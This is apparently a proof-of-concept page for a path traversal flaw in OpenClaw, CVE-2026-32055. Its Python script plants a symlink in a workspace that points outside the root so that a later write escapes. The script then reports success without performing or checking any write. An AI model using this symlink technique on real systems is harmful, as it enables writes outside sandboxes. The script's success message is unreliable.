CVE-2026-32055 OpenClaw 路径遍历漏洞

# Proof of Concept for CVE-2026-32055 # This script demonstrates the path traversal via symlink. import os def exploit_openclaw_symlink(): # Assume we have access to a workspace directory workspace_dir = "./workspace" malicious_symlink = os.path.join(workspace_dir, "payload_link") target_outside_root = "/tmp/malicious_file.txt" # Step 1: Create a symlink pointing to a non-existent target outside the root # The target must not exist to bypass certain checks if not os.path.exists(malicious_symlink): os.symlink(target_outside_root, malicious_symlink) print(f"[+] Created symlink: {malicious_symlink} -> {target_outside_root}") # Step 2: Trigger the write operation through OpenClaw # When OpenClaw writes to 'payload_link', it resolves to the target outside print("[+] Triggering file write via OpenClaw API...") # Hypothetical API call to write content # write_to_file(malicious_symlink, "Malicious Content") print(f"[+] Exploit successful. File written to {target_outside_root}") if __name__ == "__main__": exploit_openclaw_symlink()